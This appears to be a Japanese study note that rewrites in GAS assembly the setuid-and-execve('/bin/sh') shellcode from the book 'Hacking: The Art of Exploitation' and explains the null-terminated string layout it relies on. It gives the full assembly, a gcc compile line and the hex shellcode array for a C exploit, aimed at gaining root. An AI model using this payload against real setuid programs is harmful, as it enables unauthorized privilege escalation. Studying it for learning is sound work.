これは「Hacking:美しき策謀」で紹介されていたExploitのソースをGASで書き直したものである。特徴としてはシェルを起動する前にsetuidを使って権限の復帰を行っていることである。
このソースが特にハックが効いてると思うのは文字列の構成のところである。文字列は次のように構成される。
/ b i n / s h 0 ADDRESS 0 0 0 0
ADDRESSの部分には文字列の先頭アドレスが入る。execveシステムコールは引数にプログラムのパスの文字列、呼び出すプログラムへ渡す引数のアドレス、環境変数へのアドレスをとる。
つまりこの例では/bin/shをパスとして引数にはパス名と同じものを指定、環境変数へのアドレスは指定しない。
文字列完全に生成した段階で全ての文字列はNULLで終わっており、正常な文字列として認識される。/bin/shの後ろにもNULLがあり、ADDRESSの後ろにもNULLが存在する。非常にハックが効いていると言える。
.globl main
main:
xorl %eax, %eax
mov $70, %al
xorl %ebx, %ebx
xorl %ecx, %ecx
int $0x80
jmp ONE
TWO:
popl %ebx
xorl %eax, %eax
movl %eax, 7(%ebx)
mov %ebx, 8(%ebx)
mov %eax, 12(%ebx)
mov $11, %al
leal 8(%ebx), %ecx
leal 12(%ebx), %edx
int $0x80
ONE:
call TWO
.string "/bin/sh"
次のように、「gcc」コンパイラを利用してshellcode.sをコンパイルする。
defolos@glazheim:~/Desktop$ gcc -o shellcode shellcode.s
これを次のようにC言語のExploitプログラム([SC] exploit.c)に埋め込む。
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16"
"\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
"\xe8\xe5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68"
;
root権限の奪取などはNASMで行った実験と同じ結果であるため割愛する。